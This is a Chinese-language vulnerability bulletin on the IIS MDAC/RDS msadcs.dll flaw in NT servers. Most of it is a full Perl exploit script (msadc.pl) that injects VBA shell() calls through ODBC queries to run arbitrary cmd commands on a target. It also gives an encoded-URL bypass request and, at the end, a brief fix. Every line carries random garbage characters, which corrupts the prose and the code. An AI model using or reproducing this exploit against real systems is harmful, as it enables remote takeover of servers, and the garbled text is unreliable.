IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?jri!]ux# kYxl1n v 涉及程序：
8VP"ydg-U Microsoft NT server
<8rgtu!VU !6zyJc @01 描述：
\9] I#Ih}M 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
U~*c#U"bh 6X7s 4 详细：
,\o<y|+`S 如果你没有时间读详细内容的话，就删除:
b4C fd?' c:\Program Files\Common Files\System\Msadc\msadcs.dll
ieo|%N{' 有关的安全问题就没有了。
L`UG=7r q Y5ogi ) 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
X"[dQ_o |e *Gz D 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
WY+(]Wkao 关于利用ODBC远程漏洞的描述，请参看:
g .x=pt "v( G7*2 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm P</s)"@ FXx.$ W 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
u1 2zRdn http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~{L.f94N ~ww ?Emrw 这里不再论述。
Z-)[1+Hs mEoA#U 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
YywEZ ?X 07x=`7hs} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
F =XF] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
[}>#YPZ U~aWG\h#X u8Y~_)\MA #将下面这段保存为txt文件，然后: "perl -x 文件名"
(/"thv5vT{ [2Iau1<@ #!perl
q0&Wk"X%rr #
N B E pM # MSADC/RDS 'usage' (aka exploit) script
NuU'0_")/ #
[?-]PZ # by rain.forest.puppy
_N98 vf0o #
q"S(7xWS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0pD
W _ # beta test and find errors!
+p3 Z#KoC |K%}}g[<e; use Socket; use Getopt::Std;
wG+=}1X getopts("e:vd:h:XR", \%args);
3[VWTq)D= d7* CwY9" print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}mKwFVZ (Akd8}nf~ if (!defined $args{h} && !defined $args{R}) {
_R)&k%i} print qq~
~z5@V5 z Usage: msadc.pl -h <host> { -d <delay> -X -v }
1!!\+
c2* -h <host> = host you want to scan (ip or domain)
MSl&?}Bj -d <seconds> = delay between calls, default 1 second
~;[&K%n -X = dump Index Server path table, if available
c15r':.5 -v = verbose
V] rhVMA -e = external dictionary file for step 5
G]4OFz+ i3\~Qj;1 Or a -R will resume a command session
tw=K&/ @^O a5a1'IVq ~; exit;}
I:i<>kG L1wZ U, o $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
p #bhz5&/ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
(3VGaUlx if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
[EgW/ \35 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
b$Ln} < $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
34ha26\np if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
,t1v b3 n+Hs Q]z. if (!defined $args{R}){ $ret = &has_msadc;
,^ 7 CP die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
pCh2SQ(Q> 'B5^ P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
r KH:[lK m . "cmd /c ";
sZ,Y60s8a $in=<STDIN>; chomp $in;
U6E\AvbRn $command="cmd /c " . $in ;
uDw.|B2ui Q6gt+FKU9 if (defined $args{R}) {&load; exit;}
mm[2wfTE
_A13[Mt3 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
WY^W.1 X &try_btcustmr;
2d%}- nw <@wj7\ pQ print "\nStep 2: Trying to make our own DSN...";
c~QS9)=E &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*]hBGr#6 D:^$4}h
f print "\nStep 3: Trying known DSNs...";
&k-Vcrcz &known_dsn;
zDhB{3-Q1{ 5DOBs f8Jo print "\nStep 4: Trying known .mdbs...";
p G1WXbqW &known_mdb;
G,Z^g|6 )-* 5v
D if (defined $args{e}){
,p(<+6QZ print "\nStep 5: Trying dictionary of DSN names...";
2(5ebe[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
HbP!KVHyk1 su*Pk|6% print "Sorry Charley...maybe next time?\n";
ljl^ GFo exit;
lj+u@Z<xA lL1k.& |5m ##############################################################################
.EM `. "ju6XdZo sub sendraw { # ripped and modded from whisker
Z{&cuo.@<] sleep($delay); # it's a DoS on the server! At least on mine...
^B8b%'\ my ($pstr)=@_;
@(r /dZc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
pTIf@n6I die("Socket problems\n");
=UyLk-P
w if(connect(S,pack "SnA4x8",2,80,$target)){
{( r6e select(S); $|=1;
Q.K,%(^;a print $pstr; my @in=<S>;
MS f; ZB select(STDOUT); close(S);
Ft}@ 1w5 return @in;
dO a%9[ } else { die("Can't connect...\n"); }}
LL:_L< (#+^ & 1 ##############################################################################
II6CHjW`; J:V?EE,\- sub make_header { # make the HTTP request
p]3?gK- my $msadc=<<EOT
d!eYqM7-G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
,VO2a mI User-Agent: ACTIVEDATA
N-lkYL-%\j Host: $ip
E>l~-PaZY Content-Length: $clen
b hniB @< Connection: Keep-Alive
5\z `-) 1GzAG;UUo6 ADCClientVersion:01.06
-Uml_/rd_ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
T=ev[ mS UFMA:o, --!ADM!ROX!YOUR!WORLD!
c/sC&i;%O Content-Type: application/x-varg
X&kp;W Content-Length: $reqlen
Jv^h\~*jH (+0v<uR^D EOT
EFz&N\2 ; $msadc=~s/\n/\r\n/g;
F6z% VWU return $msadc;}
0Vx. nUQ %7|9sQ: ##############################################################################
Dh=9Gns9 \-g)T}g,I sub make_req { # make the RDS request
_*f` iu:` my ($switch, $p1, $p2)=@_;
z4N*b "QF my $req=""; my $t1, $t2, $query, $dsn;
q.;u?,|E/ H j}K{20 if ($switch==1){ # this is the btcustmr.mdb query
PUUwv_ $query="Select * from Customers where City=" . make_shell();
6Yln, rC $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
DMO Mh#[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
W)bLSL]`E #{ ;k{~;PF elsif ($switch==2){ # this is general make table query
{tW f $query="create table AZZ (B int, C varchar(10))";
-qGa] a $dsn="$p1";}
ZP(f3X@ {z{bY\ elsif ($switch==3){ # this is general exploit table query
nlc
"c5;jh $query="select * from AZZ where C=" . make_shell();
d$1@4r $dsn="$p1";}
x<ZJb VXwU?_4J. elsif ($switch==4){ # attempt to hork file info from index server
)P
sY($ & $query="select path from scope()";
{N+$Q' $dsn="Provider=MSIDXS;";}
)?anOD[ $| @
( elsif ($switch==5){ # bad query
tVN $query="select";
]Gsv0Xk1 $dsn="$p1";}
3c a (i/c U2W|:~KM $t1= make_unicode($query);
?82x dp g $t2= make_unicode($dsn);
Tw-;7A e $req = "\x02\x00\x03\x00";
9d x/hFA $req.= "\x08\x00" . pack ("S1", length($t1));
D9H?:pmv? $req.= "\x00\x00" . $t1 ;
`r9!zffyS $req.= "\x08\x00" . pack ("S1", length($t2));
K &N $req.= "\x00\x00" . $t2 ;
,?^ p(w $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
]>5/PD,wWy return $req;}
a . k.n< X}Ai -D ##############################################################################
T 4Pgbop 9sYMSc~Bm sub make_shell { # this makes the shell() statement
wfLaRP return "'|shell(\"$command\")|'";}
I&x= ; L 0TFo_ ##############################################################################
p8Qk 'F=h -(;26\lE sub make_unicode { # quick little function to convert to unicode
. 1Dg s=| my ($in)=@_; my $out;
Sw ig;` for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
D2Kp|F; return $out;}
Ng2twfSl$ vApIHI?- ##############################################################################
86=}ZGWd "R;U/+ sub rdo_success { # checks for RDO return success (this is kludge)
,i s3&9 my (@in) = @_; my $base=content_start(@in);
"*e$aTZB\ if($in[$base]=~/multipart\/mixed/){
vXrx{5 gz return 1 if( $in[$base+10]=~/^\x09\x00/ );}
y51e%n$ return 0;}
{k
TE He Z>k#n'm^z ##############################################################################
ZbW17@b hj* pTuym sub make_dsn { # this makes a DSN for us
h+g_rvIG* my @drives=("c","d","e","f");
<KL,G};0pm print "\nMaking DSN: ";
Z&+ g;(g foreach $drive (@drives) {
U ]H#MiC! print "$drive: ";
6*78cg Io my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2lH& "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
F rfM3x6UM . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{HltvO%8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
un mJbY;t return 0 if $2 eq "404"; # not found/doesn't exist
KOk4^#h@ if($2 eq "200") {
-P$PAg5"2 foreach $line (@results) {
8mvy\l
EEH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
O`IQ(,yef } return 0;}
MzdV 2. u&Yz[)+b=g ##############################################################################
g[' ^L +hd q$d>(vb q sub verify_exists {
C!<Ou6}!b my ($page)=@_;
@e.C"@G my @results=sendraw("GET $page HTTP/1.0\n\n");
oGnSPI5KGC return $results[0];}
\h/H#j ZJ q_[o" wq/ ##############################################################################
3) <yod= 'x#~'v* sub try_btcustmr {
tKOmoC my @drives=("c","d","e","f");
? =Z? 6fw my @dirs=("winnt","winnt35","winnt351","win","windows");
=7=]{Cx[ ,wb:dj- foreach $dir (@dirs) {
nfbR
P t print "$dir -> "; # fun status so you can see progress
LYTdTP foreach $drive (@drives) {
yLvDMPj print "$drive: "; # ditto
~g]Vw4pv $reqlen=length( make_req(1,$drive,$dir) ) - 28;
z#wkiCRYm $reqlenlen=length( "$reqlen" );
AlaW=leTe $clen= 206 + $reqlenlen + $reqlen;
hD 82tr y%cP1y) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
sUO`u qZV if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
PO: {t else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
W aRw05r |mfvr *7 ##############################################################################
X 'Xx" M Gx/Oi)&/ sub odbc_error {
$t[FH&c( my (@in)=@_; my $base;
`Y$4 H,8L my $base = content_start(@in);
s2V:cMXFn if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
& '`g#N $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
iOghb*aW $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0Th&iA4 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
k1~&x$G return $in[$base+4].$in[$base+5].$in[$base+6];}
)qw &%sO + print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
TF\C@4Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
""G'rN_=Bi $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
p8O2Z? \ PJ%C N(0 ##############################################################################
QA`sx <iC(`J$D sub verbose {
77f9(~ZnT my ($in)=@_;
BX7kO0 j return if !$verbose;
013x8 !i print STDOUT "\n$in\n";}
zTSTEOP}%Y AQvudx)@" ##############################################################################
pz*3N FcU SE sub save {
r`d4e,( my ($p1, $p2, $p3, $p4)=@_;
tS=(}2Q open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&j"?\f? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?+@?Up0wGO close OUT;}
#q=Efn' :DNY 7TvZ ##############################################################################
7R\<inCQ (hbyEQhF sub load {
JPw.8|V)y my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_]H&,</ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
YU'E@t5 @p=<IN>; close(IN);
e* NnVys $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H<,gU`&R $target= inet_aton($ip) || die("inet_aton problems");
7Ak6,BuI% print "Resuming to $ip ...";
on `3&0,. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
) 3EY; if($p[1]==1) {
Kn1a>fLaJ_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
/ y}xX $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
'5$b-x6 F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
)Ql%r?(F+ if (rdo_success(@results)){print "Success!\n";}
2c*GuF9(0 else { print "failed\n"; verbose(odbc_error(@results));}}
/82b S | elsif ($p[1]==3){
&V/Mmm T
if(run_query("$p[3]")){
(O 3 nL. print "Success!\n";} else { print "failed\n"; }}
t'ql[ elsif ($p[1]==4){
UP,c | if(run_query($drvst . "$p[3]")){
XXa|BZ1RX print "Success!\n"; } else { print "failed\n"; }}
H G^'I+Yn exit;}
1= V- V< N<} 5A% ##############################################################################
SwMc
pNo $xN|5;+ sub create_table {
t b}V5VH my ($in)=@_;
C~/a- $reqlen=length( make_req(2,$in,"") ) - 28;
/7YIn3 $reqlenlen=length( "$reqlen" );
$=4QO $clen= 206 + $reqlenlen + $reqlen;
9\7en%( M my @results=sendraw(make_header() . make_req(2,$in,""));
ew4U)2J+ return 1 if rdo_success(@results);
5=ryDrx my $temp= odbc_error(@results); verbose($temp);
c\j/k[\< return 1 if $temp=~/Table 'AZZ' already exists/;
oUlVI*~ND return 0;}
fz
"Y CHe H qx-;F~0 ##############################################################################
N;`n@9BF 5 nx 1 i sub known_dsn {
{)sdi E # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Zj'9rXhrM1 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RZTiw^ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
4j^
@wV' "banner", "banners", "ads", "ADCDemo", "ADCTest");
vnuN6M{ 4o5t#qP5$S foreach $dSn (@dsns) {
c-sf g>0 ^ print ".";
TB31-
() next if (!is_access("DSN=$dSn"));
SOIN']L|V[ if(create_table("DSN=$dSn")){
]7A'7p $Y print "$dSn successful\n";
rYk0
ak if(run_query("DSN=$dSn")){
A,!-{/w c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pd$[8Rmj_ print "Something's borked. Use verbose next time\n";}}} print "\n";}
^S; -fYW2 6_B] MN!( ##############################################################################
n + M <\ N?8!3&TiV sub is_access {
.T`%tJ-Em my ($in)=@_;
wC'Szni $reqlen=length( make_req(5,$in,"") ) - 28;
P.DK0VgY $reqlenlen=length( "$reqlen" );
M"L=L5OH- $clen= 206 + $reqlenlen + $reqlen;
)t%b838l% my @results=sendraw(make_header() . make_req(5,$in,""));
/y#f3r+*2 my $temp= odbc_error(@results);
f ue(UMF~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
.E1rqB G return 0;}
#$+*; -M~:lK]n ##############################################################################
H8^(GUh yp | y#
Jx sub run_query {
He/ 8=$c% my ($in)=@_;
]^n7
$reqlen=length( make_req(3,$in,"") ) - 28;
' !cCMTj $reqlenlen=length( "$reqlen" );
PbgP\JeX $clen= 206 + $reqlenlen + $reqlen;
C8:f_mJU my @results=sendraw(make_header() . make_req(3,$in,""));
2 K6qY)/_ return 1 if rdo_success(@results);
+nhLIO{{L my $temp= odbc_error(@results); verbose($temp);
eIEeb,#i return 0;}
:&rt)/I :WS@=sZN ##############################################################################
V`d,qn)i Z1f8/?`W sub known_mdb {
@R"JW\bd my @drives=("c","d","e","f","g");
VUGmi]qd my @dirs=("winnt","winnt35","winnt351","win","windows");
~&_z2|UXp my $dir, $drive, $mdb;
d-ZJL6- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YQ)kRhFA 9@:2wR | # this is sparse, because I don't know of many
)Y0!~#
` my @sysmdbs=( "\\catroot\\icatalog.mdb",
G1tY) _-8[ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Jbg/0|1 "\\system32\\certmdb.mdb",
w"|L:8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
k[YS8g-Q :T$ |bc my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
t%FwXaO# "\\cfusion\\cfapps\\forums\\forums_.mdb",
8)3*6+D "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
o#gWbAG;]b "\\cfusion\\cfapps\\security\\realm_.mdb",
\<>ih)J@tt "\\cfusion\\cfapps\\security\\data\\realm.mdb",
E \EsWb "\\cfusion\\database\\cfexamples.mdb",
^_W#+>&-- "\\cfusion\\database\\cfsnippets.mdb",
J#(LlCs?@c "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
({)+3]x "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
c )g\ / "\\cfusion\\brighttiger\\database\\cleam.mdb",
'n]w"]| "\\cfusion\\database\\smpolicy.mdb",
gp?uHKsM "\\cfusion\\database\cypress.mdb",
SmH=e@y~Lx "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
eHZws`W "\\website\\cgi-win\\dbsample.mdb",
70nqD>M4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
X-Kh(Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
'ya{9EdlT ); #these are just
B{#I: Rs9 foreach $drive (@drives) {
vWv" foreach $dir (@dirs){
xml7Uarc foreach $mdb (@sysmdbs) {
Y(' #jU print ".";
hEH?[>9 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
5d^sA;c print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
! E5HN :# if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
}C?'BRX print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
fOGFq1D } else { print "Something's borked. Use verbose next time\n"; }}}}}
W,n!3:7 s _8J.fT$${ foreach $drive (@drives) {
v$v-2y'% foreach $mdb (@mdbs) {
@n /nH ?L print ".";
:\c ^*K(9 if(create_table($drv . $drive . $dir . $mdb)){
q3N
jky1w print "\n" . $drive . $dir . $mdb . " successful\n";
ZJJY8k ` if(run_query($drv . $drive . $dir . $mdb)){
1(R}tRR7 R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`HSKQ52 } else { print "Something's borked. Use verbose next time\n"; }}}}
Y\P8 v }
exUFS5d 7S :\"A7 ##############################################################################
4e7-0}0 {\1?ZrCI& sub hork_idx {
k]|~>9eY] print "\nAttempting to dump Index Server tables...\n";
yx[/|nZDC4 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
rXP,\ ] r+ $reqlen=length( make_req(4,"","") ) - 28;
lrE 5^;/s1 $reqlenlen=length( "$reqlen" );
r Z$O?K $clen= 206 + $reqlenlen + $reqlen;
v!-pSa)3 my @results=sendraw2(make_header() . make_req(4,"",""));
JPHL#sKyz if (rdo_success(@results)){
eM6<%?b my $max=@results; my $c; my %d;
h,N?Ab'S for($c=19; $c<$max; $c++){
G~a ZJ, $results[$c]=~s/\x00//g;
ebhXak[w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Ll' t>) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
uH^-R_tQ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
;H*T^0 $d{"$1$2"}="";}
T?0eVvM foreach $c (keys %d){ print "$c\n"; }
h ( dvZ=
% } else {print "Index server doesn't seem to be installed.\n"; }}
PFjL1=7I 9.-S( ZO ##############################################################################
4p F*"B 1CZgb sub dsn_dict {
'IQ0{&EI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
<kqo^ while(<IN>){
cuI TY^6 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
C}Cs8eUn next if (!is_access("DSN=$dSn"));
C< tl/NC if(create_table("DSN=$dSn")){
!Ai@$tl[S print "$dSn successful\n";
7JH6A'& if(run_query("DSN=$dSn")){
DyQy^G'%l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
#c!lS<z print "Something's borked. Use verbose next time\n";}}}
~36!?&eA8 print "\n"; close(IN);}
^ZcGY+/~ H7n>Vx:L- ##############################################################################
_ B<X`L
= wP@(?z sub sendraw2 { # ripped and modded from whisker
vk^xT sleep($delay); # it's a DoS on the server! At least on mine...
6 H$FhJF my ($pstr)=@_;
8nV+e~ -w socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
a1lh-2x X die("Socket problems\n");
m: 2^= l4 if(connect(S,pack "SnA4x8",2,80,$target)){
g) jYFfGfH print "Connected. Getting data";
^0 9," <@k open(OUT,">raw.out"); my @in;
W|mo5qrLS2 select(S); $|=1; print $pstr;
0GeTS Fj while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7{*>agQh close(OUT); select(STDOUT); close(S); return @in;
46h<,na?, } else { die("Can't connect...\n"); }}
Fx.=#bVX7 5 7c8xk[.2 ##############################################################################
UaeXY+O "chDg(jMZ sub content_start { # this will take in the server headers
5rik7a)Z] my (@in)=@_; my $c;
26h21Z16q for ($c=1;$c<500;$c++) {
rx|pOz,: if($in[$c] =~/^\x0d\x0a/){
.Q 2V}D85 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j\M?~=*w else { return $c+1; }}}
` Sz}`+E return -1;} # it should never get here actually
tWc Hb # ?Ir:g=RP* ##############################################################################
k<?b(&`J lThB2/tV\ sub funky {
3Y$GsN4ln my (@in)=@_; my $error=odbc_error(@in);
Q =$2c[Uk if($error=~/ADO could not find the specified provider/){
=I_'.b print "\nServer returned an ADO miscofiguration message\nAborting.\n";
M_DwUS 1? exit;}
<a3 WKw if($error=~/A Handler is required/){
f/?P514h print "\nServer has custom handler filters (they most likely are patched)\n";
f!X[c?Xy" exit;}
$ I?" lky if($error=~/specified Handler has denied Access/){
$XH^~i; print "\nServer has custom handler filters (they most likely are patched)\n";
|[8Th4*n exit;}}
Ny/MJ#Lq VIf.q)_k ##############################################################################
t]G:L}AOl JBZ@'8eqi] sub has_msadc {
I&5!=kR my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
]ZS
OM\} my $base=content_start(@results);
8 &dF return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e\/w' return 0;}
owv[M6lbD YS_; OFsd ########################
1$ {SRU7l BZ^}J!Q'* "0TZTa1e 解决方案：
I]q% 2i e 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
[Ch.cE_ 2、移除web 目录: /msadc
